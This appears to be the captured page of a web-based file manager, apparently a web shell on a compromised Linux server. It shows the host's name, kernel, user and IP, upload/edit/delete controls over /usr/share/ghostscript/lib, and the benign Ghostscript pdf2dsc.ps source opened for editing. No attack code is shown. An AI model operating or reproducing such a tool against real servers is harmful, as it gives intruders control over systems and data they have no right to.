[ SYSTEM ]: Linux srv.persadacompanies.com 4.18.0-553.56.1.el8_10.x86_64 #1 SMP Tue Jun 10 05:00:59 EDT 2025 x86_64
[ SERVER ]: Apache | PHP: 8.4.19
[ USER ]: persadamedika | IP: 45.64.1.108
GEFORCE FILE MANAGER
/
usr
/
share
/
ghostscript
/
lib
/
UPLOAD:
NAME
SIZE
QUICK PERMS
ACTIONS
📄 PDFA_def.ps
1,276 B
SET
[ EDIT ]
|
[ DEL ]
📄 PDFX_def.ps
1,812 B
SET
[ EDIT ]
|
[ DEL ]
📄 PM760p.upp
1,160 B
SET
[ EDIT ]
|
[ DEL ]
📄 PM760pl.upp
1,124 B
SET
[ EDIT ]
|
[ DEL ]
📄 PM820p.upp
1,142 B
SET
[ EDIT ]
|
[ DEL ]
📄 PM820pl.upp
1,117 B
SET
[ EDIT ]
|
[ DEL ]
📄 Stc670p.upp
1,159 B
SET
[ EDIT ]
|
[ DEL ]
📄 Stc670pl.upp
1,124 B
SET
[ EDIT ]
|
[ DEL ]
📄 Stc680p.upp
1,140 B
SET
[ EDIT ]
|
[ DEL ]
📄 Stc680pl.upp
1,115 B
SET
[ EDIT ]
|
[ DEL ]
📄 Stc740p.upp
1,039 B
SET
[ EDIT ]
|
[ DEL ]
📄 Stc740pl.upp
1,115 B
SET
[ EDIT ]
|
[ DEL ]
📄 Stc760p.upp
1,141 B
SET
[ EDIT ]
|
[ DEL ]
📄 Stc760pl.upp
1,115 B
SET
[ EDIT ]
|
[ DEL ]
📄 Stc777p.upp
1,140 B
SET
[ EDIT ]
|
[ DEL ]
📄 Stc777pl.upp
1,115 B
SET
[ EDIT ]
|
[ DEL ]
📄 Stp720p.upp
1,158 B
SET
[ EDIT ]
|
[ DEL ]
📄 Stp720pl.upp
1,115 B
SET
[ EDIT ]
|
[ DEL ]
📄 Stp870p.upp
1,140 B
SET
[ EDIT ]
|
[ DEL ]
📄 Stp870pl.upp
1,115 B
SET
[ EDIT ]
|
[ DEL ]
📄 acctest.ps
4,269 B
SET
[ EDIT ]
|
[ DEL ]
📄 align.ps
2,156 B
SET
[ EDIT ]
|
[ DEL ]
📄 bj8.rpd
639 B
SET
[ EDIT ]
|
[ DEL ]
📄 bj8gc12f.upp
1,532 B
SET
[ EDIT ]
|
[ DEL ]
📄 bj8hg12f.upp
1,531 B
SET
[ EDIT ]
|
[ DEL ]
📄 bj8oh06n.upp
1,517 B
SET
[ EDIT ]
|
[ DEL ]
📄 bj8pa06n.upp
1,525 B
SET
[ EDIT ]
|
[ DEL ]
📄 bj8pp12f.upp
1,542 B
SET
[ EDIT ]
|
[ DEL ]
📄 bj8ts06n.upp
1,530 B
SET
[ EDIT ]
|
[ DEL ]
📄 bjc6000a1.upp
1,660 B
SET
[ EDIT ]
|
[ DEL ]
📄 bjc6000b1.upp
1,660 B
SET
[ EDIT ]
|
[ DEL ]
📄 bjc610a0.upp
1,527 B
SET
[ EDIT ]
|
[ DEL ]
📄 bjc610a1.upp
1,516 B
SET
[ EDIT ]
|
[ DEL ]
📄 bjc610a2.upp
1,517 B
SET
[ EDIT ]
|
[ DEL ]
📄 bjc610a3.upp
1,522 B
SET
[ EDIT ]
|
[ DEL ]
📄 bjc610a4.upp
1,530 B
SET
[ EDIT ]
|
[ DEL ]
📄 bjc610a5.upp
1,517 B
SET
[ EDIT ]
|
[ DEL ]
📄 bjc610a6.upp
1,517 B
SET
[ EDIT ]
|
[ DEL ]
📄 bjc610a7.upp
1,520 B
SET
[ EDIT ]
|
[ DEL ]
📄 bjc610a8.upp
1,526 B
SET
[ EDIT ]
|
[ DEL ]
📄 bjc610b1.upp
1,516 B
SET
[ EDIT ]
|
[ DEL ]
📄 bjc610b2.upp
1,517 B
SET
[ EDIT ]
|
[ DEL ]
📄 bjc610b3.upp
1,522 B
SET
[ EDIT ]
|
[ DEL ]
📄 bjc610b4.upp
1,530 B
SET
[ EDIT ]
|
[ DEL ]
📄 bjc610b6.upp
1,517 B
SET
[ EDIT ]
|
[ DEL ]
📄 bjc610b7.upp
1,521 B
SET
[ EDIT ]
|
[ DEL ]
📄 bjc610b8.upp
1,526 B
SET
[ EDIT ]
|
[ DEL ]
📄 caption.ps
1,759 B
SET
[ EDIT ]
|
[ DEL ]
📄 cbjc600.ppd
11,148 B
SET
[ EDIT ]
|
[ DEL ]
📄 cbjc800.ppd
11,491 B
SET
[ EDIT ]
|
[ DEL ]
📄 cdj550.upp
1,690 B
SET
[ EDIT ]
|
[ DEL ]
📄 cdj690.upp
1,999 B
SET
[ EDIT ]
|
[ DEL ]
📄 cdj690ec.upp
2,060 B
SET
[ EDIT ]
|
[ DEL ]
📄 cid2code.ps
4,491 B
SET
[ EDIT ]
|
[ DEL ]
📄 dmp_init.ps
7,246 B
SET
[ EDIT ]
|
[ DEL ]
📄 dmp_site.ps
459 B
SET
[ EDIT ]
|
[ DEL ]
📄 dnj750c.upp
2,808 B
SET
[ EDIT ]
|
[ DEL ]
📄 dnj750m.upp
1,975 B
SET
[ EDIT ]
|
[ DEL ]
📄 docie.ps
7,498 B
SET
[ EDIT ]
|
[ DEL ]
📄 escp_24.src
350 B
SET
[ EDIT ]
|
[ DEL ]
📄 font2pcl.ps
18,439 B
SET
[ EDIT ]
|
[ DEL ]
📄 ghostpdf.ppd
25,643 B
SET
[ EDIT ]
|
[ DEL ]
📄 gs_ce_e.ps
2,219 B
SET
[ EDIT ]
|
[ DEL ]
📄 gs_il2_e.ps
2,631 B
SET
[ EDIT ]
|
[ DEL ]
📄 gs_kanji.ps
4,007 B
SET
[ EDIT ]
|
[ DEL ]
📄 gs_ksb_e.ps
3,145 B
SET
[ EDIT ]
|
[ DEL ]
📄 gs_l.xbm
1,945 B
SET
[ EDIT ]
|
[ DEL ]
📄 gs_l.xpm
2,751 B
SET
[ EDIT ]
|
[ DEL ]
📄 gs_l_m.xbm
1,955 B
SET
[ EDIT ]
|
[ DEL ]
📄 gs_lgo_e.ps
2,734 B
SET
[ EDIT ]
|
[ DEL ]
📄 gs_lgx_e.ps
1,766 B
SET
[ EDIT ]
|
[ DEL ]
📄 gs_m.xbm
945 B
SET
[ EDIT ]
|
[ DEL ]
📄 gs_m.xpm
1,437 B
SET
[ EDIT ]
|
[ DEL ]
📄 gs_m_m.xbm
955 B
SET
[ EDIT ]
|
[ DEL ]
📄 gs_s.xbm
594 B
SET
[ EDIT ]
|
[ DEL ]
📄 gs_s.xpm
957 B
SET
[ EDIT ]
|
[ DEL ]
📄 gs_s_m.xbm
604 B
SET
[ EDIT ]
|
[ DEL ]
📄 gs_t.xbm
345 B
SET
[ EDIT ]
|
[ DEL ]
📄 gs_t.xpm
605 B
SET
[ EDIT ]
|
[ DEL ]
📄 gs_t_m.xbm
355 B
SET
[ EDIT ]
|
[ DEL ]
📄 gs_wl1_e.ps
2,495 B
SET
[ EDIT ]
|
[ DEL ]
📄 gs_wl2_e.ps
2,494 B
SET
[ EDIT ]
|
[ DEL ]
📄 gs_wl5_e.ps
2,512 B
SET
[ EDIT ]
|
[ DEL ]
📄 gslp.ps
20,728 B
SET
[ EDIT ]
|
[ DEL ]
📄 gsnup.ps
2,634 B
SET
[ EDIT ]
|
[ DEL ]
📄 ht_ccsto.ps
228,143 B
SET
[ EDIT ]
|
[ DEL ]
📄 image-qa.ps
73,050 B
SET
[ EDIT ]
|
[ DEL ]
📄 jispaper.ps
784 B
SET
[ EDIT ]
|
[ DEL ]
📄 landscap.ps
1,468 B
SET
[ EDIT ]
|
[ DEL ]
📄 lines.ps
3,736 B
SET
[ EDIT ]
|
[ DEL ]
📄 mkcidfm.ps
22,321 B
SET
[ EDIT ]
|
[ DEL ]
📄 necp2x.upp
1,045 B
SET
[ EDIT ]
|
[ DEL ]
📄 necp2x6.upp
1,069 B
SET
[ EDIT ]
|
[ DEL ]
📄 pdf2dsc.ps
8,063 B
SET
[ EDIT ]
|
[ DEL ]
📄 pf2afm.ps
15,295 B
SET
[ EDIT ]
|
[ DEL ]
📄 pfbtopfa.ps
996 B
SET
[ EDIT ]
|
[ DEL ]
📄 ppath.ps
1,819 B
SET
[ EDIT ]
|
[ DEL ]
📄 pphs.ps
6,844 B
SET
[ EDIT ]
|
[ DEL ]
📄 prfont.ps
7,213 B
SET
[ EDIT ]
|
[ DEL ]
📄 printafm.ps
4,898 B
SET
[ EDIT ]
|
[ DEL ]
📄 ps2ai.ps
22,306 B
SET
[ EDIT ]
|
[ DEL ]
📄 ps2epsi.ps
8,540 B
SET
[ EDIT ]
|
[ DEL ]
📄 ras1.upp
215 B
SET
[ EDIT ]
|
[ DEL ]
📄 ras24.upp
219 B
SET
[ EDIT ]
|
[ DEL ]
📄 ras3.upp
214 B
SET
[ EDIT ]
|
[ DEL ]
📄 ras32.upp
196 B
SET
[ EDIT ]
|
[ DEL ]
📄 ras4.upp
220 B
SET
[ EDIT ]
|
[ DEL ]
📄 ras8m.upp
209 B
SET
[ EDIT ]
|
[ DEL ]
📄 rollconv.ps
12,526 B
SET
[ EDIT ]
|
[ DEL ]
📄 s400a1.upp
1,454 B
SET
[ EDIT ]
|
[ DEL ]
📄 s400b1.upp
1,603 B
SET
[ EDIT ]
|
[ DEL ]
📄 sharp.upp
1,936 B
SET
[ EDIT ]
|
[ DEL ]
📄 sipixa6.upp
529 B
SET
[ EDIT ]
|
[ DEL ]
📄 st640ih.upp
2,281 B
SET
[ EDIT ]
|
[ DEL ]
📄 st640ihg.upp
1,508 B
SET
[ EDIT ]
|
[ DEL ]
📄 st640p.upp
1,914 B
SET
[ EDIT ]
|
[ DEL ]
📄 st640pg.upp
1,141 B
SET
[ EDIT ]
|
[ DEL ]
📄 st640pl.upp
1,878 B
SET
[ EDIT ]
|
[ DEL ]
📄 st640plg.upp
1,105 B
SET
[ EDIT ]
|
[ DEL ]
📄 stc.upp
1,923 B
SET
[ EDIT ]
|
[ DEL ]
📄 stc1520h.upp
2,154 B
SET
[ EDIT ]
|
[ DEL ]
📄 stc2.upp
1,904 B
SET
[ EDIT ]
|
[ DEL ]
📄 stc200_h.upp
1,848 B
SET
[ EDIT ]
|
[ DEL ]
📄 stc2_h.upp
1,879 B
SET
[ EDIT ]
|
[ DEL ]
📄 stc2s_h.upp
2,272 B
SET
[ EDIT ]
|
[ DEL ]
📄 stc300.upp
2,136 B
SET
[ EDIT ]
|
[ DEL ]
📄 stc300bl.upp
1,341 B
SET
[ EDIT ]
|
[ DEL ]
📄 stc300bm.upp
1,430 B
SET
[ EDIT ]
|
[ DEL ]
📄 stc500p.upp
1,903 B
SET
[ EDIT ]
|
[ DEL ]
📄 stc500ph.upp
1,903 B
SET
[ EDIT ]
|
[ DEL ]
📄 stc600ih.upp
2,281 B
SET
[ EDIT ]
|
[ DEL ]
📄 stc600p.upp
1,151 B
SET
[ EDIT ]
|
[ DEL ]
📄 stc600pl.upp
1,115 B
SET
[ EDIT ]
|
[ DEL ]
📄 stc640p.upp
1,095 B
SET
[ EDIT ]
|
[ DEL ]
📄 stc740ih.upp
2,123 B
SET
[ EDIT ]
|
[ DEL ]
📄 stc800ih.upp
2,158 B
SET
[ EDIT ]
|
[ DEL ]
📄 stc800p.upp
1,115 B
SET
[ EDIT ]
|
[ DEL ]
📄 stc800pl.upp
1,097 B
SET
[ EDIT ]
|
[ DEL ]
📄 stc_h.upp
1,913 B
SET
[ EDIT ]
|
[ DEL ]
📄 stc_l.upp
734 B
SET
[ EDIT ]
|
[ DEL ]
📄 stcany.upp
673 B
SET
[ EDIT ]
|
[ DEL ]
📄 stcany_h.upp
681 B
SET
[ EDIT ]
|
[ DEL ]
📄 stcinfo.ps
25,517 B
SET
[ EDIT ]
|
[ DEL ]
📄 stcolor.ps
5,065 B
SET
[ EDIT ]
|
[ DEL ]
📄 stocht.ps
2,494 B
SET
[ EDIT ]
|
[ DEL ]
📄 traceimg.ps
1,382 B
SET
[ EDIT ]
|
[ DEL ]
📄 traceop.ps
2,572 B
SET
[ EDIT ]
|
[ DEL ]
📄 uninfo.ps
5,986 B
SET
[ EDIT ]
|
[ DEL ]
📄 viewcmyk.ps
1,984 B
SET
[ EDIT ]
|
[ DEL ]
📄 viewgif.ps
5,395 B
SET
[ EDIT ]
|
[ DEL ]
📄 viewjpeg.ps
5,691 B
SET
[ EDIT ]
|
[ DEL ]
📄 viewmiff.ps
4,253 B
SET
[ EDIT ]
|
[ DEL ]
📄 viewpbm.ps
10,282 B
SET
[ EDIT ]
|
[ DEL ]
📄 viewpcx.ps
5,232 B
SET
[ EDIT ]
|
[ DEL ]
📄 viewps2a.ps
1,136 B
SET
[ EDIT ]
|
[ DEL ]
📄 winmaps.ps
3,605 B
SET
[ EDIT ]
|
[ DEL ]
📄 zeroline.ps
2,317 B
SET
[ EDIT ]
|
[ DEL ]
DELETE SELECTED
[ CLOSE ]
EDIT: pdf2dsc.ps
% Copyright (C) 2001-2019 Artifex Software, Inc. % All Rights Reserved. % % This software is provided AS-IS with no warranty, either express or % implied. % % This software is distributed under license and may not be copied, % modified or distributed except as expressly authorized under the terms % of the license contained in the file LICENSE in this distribution. % % Refer to licensing information at http://www.artifex.com or contact % Artifex Software, Inc., 1305 Grant Avenue - Suite 200, Novato, % CA 94945, U.S.A., +1(415)492-9861, for further information. % % pdf2dsc.ps % read pdf file and produce DSC "index" file. % % Input file is named PDFname % Output file is named DSCname % % Run using: % gs -dNODISPLAY -sPDFname=pdffilename -sDSCname=tempfilename pdf2dsc.ps % Then display the PDF file with % gs tempfilename % % Modified by Jason McCarty, bug 688071 % Add PageLabels support. % Modified by Geoff Keating <geoffk@ozemail.com.au> 21/12/98: % Add DocumentMedia, PageMedia comments % Use inherited BoundingBox and Orientation % Reformat, add new macro 'puts', generally clean up % Modified by Johannes Plass <plass@dipmza.physik.uni-mainz.de> 1996-11-05: % Adds BoundingBox and Orientation if available. % Modified by rjl/lpd 9/19/96 % Updates for compatibility with modified pdf_*.ps code for handling % page ranges (i.e., partial files) better. % Modified by Geoff Keating <Geoff.Keating@anu.edu.au> 7/3/96: % include Title and CreationDate DSC comments (these are displayed by % Ghostview); % reduce the size of typical output files by a factor of about 3. % Modified by L. Peter Deutsch 3/18/96: % Removes unnecessary and error-prone code duplicated from pdf_main.ps % Modified by L. Peter Deutsch for GS 3.33 % Originally by Russell Lang 1995-04-26 /PDFfile PDFname (r) file def /DSCfile DSCname (w) file def systemdict /.setsafe known { .setsafe } if /puts { DSCfile exch writestring } bind def /DSCstring 255 string def /MediaTypes 10 dict def PDFfile runpdfbegin /FirstPage where { pop } { /FirstPage 1 def } ifelse /LastPage where { pop } { /LastPage pdfpagecount def } ifelse % scan through for media sizes, keep them in the dictionary FirstPage 1 LastPage { pdfgetpage /MediaBox pget pop % MediaBox is a required attribute aload pop 3 -1 roll sub 3 1 roll exch sub exch 2 array astore aload 3 1 roll 10 string cvs exch 10 string cvs (x) 3 -1 roll concatstrings concatstrings cvn MediaTypes 3 1 roll exch put } for % write header and prolog (%!PS-Adobe-3.0\n) puts Trailer /Info knownoget { dup /Title knownoget { (%%Title: ) puts DSCfile exch write== } if /CreationDate knownoget { (%%CreationDate: ) puts DSCfile exch write== } if } if % This is really supposed to be sorted by frequency of usage... (%%DocumentMedia: ) MediaTypes { exch pop 1 index puts (y) puts dup 1 get DSCstring cvs puts (x) puts dup 0 get DSCstring cvs puts ( ) puts dup 0 get DSCstring cvs puts ( ) puts 1 get DSCstring cvs puts ( 70 white ()\n) puts pop (%%+ ) } forall pop (%%Pages: ) puts LastPage FirstPage sub 1 add DSCstring cvs puts (\n%%EndComments\n) puts (%%BeginProlog\n) puts (/Page null def\n/Page# 0 def\n/PDFSave null def\n) puts (/DSCPageCount 0 def\n) puts (/DoPDFPage {dup /Page# exch store dup dopdfpages } def\n) puts (%%EndProlog\n) puts (%%BeginSetup\n) puts DSCfile PDFname write==only ( \(r\) file { DELAYSAFER { .setsafe } if } stopped pop\n) puts ( runpdfbegin\n) puts ( process_trailer_attrs\n) puts (%%EndSetup\n) puts /.hasPageLabels false def % see "Page Labels" in the PDF Reference Trailer /Root knownoget { /PageLabels knownoget { /PageLabels exch def /.pageCounter 1 def /.pageCounterType /D def /.pagePrefix () def % (TEXT) .ToLower (text) -- convert text to lowercase -- only letters! /.ToLower { dup length 1 sub -1 0 { 1 index exch 2 copy get 2#00100000 or put } for } def % int .CvAlpha (int in alphabetic base 26) -- convert a positive % integer to base 26 in capital letters, with 1=A; i.e. A..Z, AA..AZ, ... /.CvAlpha { % using cvrs seems futile since this isn't zero-based ... [ exch % construct an array of ASCII values, in reverse { % the remainder stays on the top of stack dup 0 eq { pop exit } if % quit if the value is zero dup 26 mod dup 0 eq { 26 add } if % so that the division is correct dup 64 add 3 1 roll sub 26 idiv % save the ASCII value and iterate } loop ] dup length dup string 3 1 roll dup -1 1 { % put the letters in a string 4 copy sub exch 4 -1 roll 1 sub get put } for pop pop } def % int .CvRoman (int in capital Roman numerals) % convert a positive integer to capital Roman numerals % return a decimal string if >= 4000 /.CvRoman { dup DSCstring cvs % start with the decimal representation exch 4000 lt { % convert only if Roman numerals can represent this dup length [ [ () (I) (II) (III) (IV) (V) (VI) (VII) (VIII) (IX) ] [ () (X) (XX) (XXX) (XL) (L) (LX) (LXX) (LXXX) (XC) ] [ () (C) (CC) (CCC) (CD) (D) (DC) (DCC) (DCCC) (CM) ] [ () (M) (MM) (MMM) ] ] % Roman equivalents () % append the Roman equivalent of each decimal digit to this string 2 index -1 1 { 2 index 1 index 1 sub get 5 index 5 index 4 -1 roll sub get 48 sub get concatstrings } for 4 1 roll pop pop pop } if } def /PageToString << /D { DSCstring cvs } /R { .CvRoman } /r { .CvRoman .ToLower } /A { .CvAlpha } /a { .CvAlpha .ToLower } >> def /.hasPageLabels true def } if } if % process each page FirstPage 1 LastPage { (%%Page: ) puts .hasPageLabels { dup 1 sub PageLabels exch numoget dup null ne { % page labels changed at this page, reset the values dup /S known { dup /S get } { null } ifelse /.pageCounterType exch def dup /P known { dup /P get } { () } ifelse /.pagePrefix exch def dup /St known { /St get } { pop 1 } ifelse /.pageCounter exch def } { pop } ifelse % output the page label (\() .pagePrefix .pageCounterType //null ne dup { PageToString .pageCounterType known and } if { % format the page number .pageCounter dup 0 gt { % don't try to format nonpositive numbers PageToString .pageCounterType get exec } { DSCstring cvs } ifelse } { () } ifelse (\)) concatstrings concatstrings concatstrings puts /.pageCounter .pageCounter 1 add def } { dup DSCstring cvs puts } ifelse ( ) puts dup DSCstring cvs puts (\n) puts dup pdfgetpage dup /MediaBox pget pop (%%PageMedia: y) puts aload pop 3 -1 roll sub DSCstring cvs puts (x) puts exch sub DSCstring cvs puts (\n) puts dup /CropBox pget { (%%PageBoundingBox: ) puts {DSCfile exch write=only ( ) puts} forall (\n) puts } if /Rotate pget { (%%PageOrientation: ) puts 90 div cvi 4 mod dup 0 lt {4 add} if [(Portrait) (Landscape) (UpsideDown) (Seascape)] exch get puts (\n) puts } if DSCfile exch DSCstring cvs writestring ( DoPDFPage\n) puts } for runpdfend % write trailer (%%Trailer\n) puts (runpdfend\n) puts (%%EOF\n) puts % close output file and exit DSCfile closefile quit % end of pdf2dsc.ps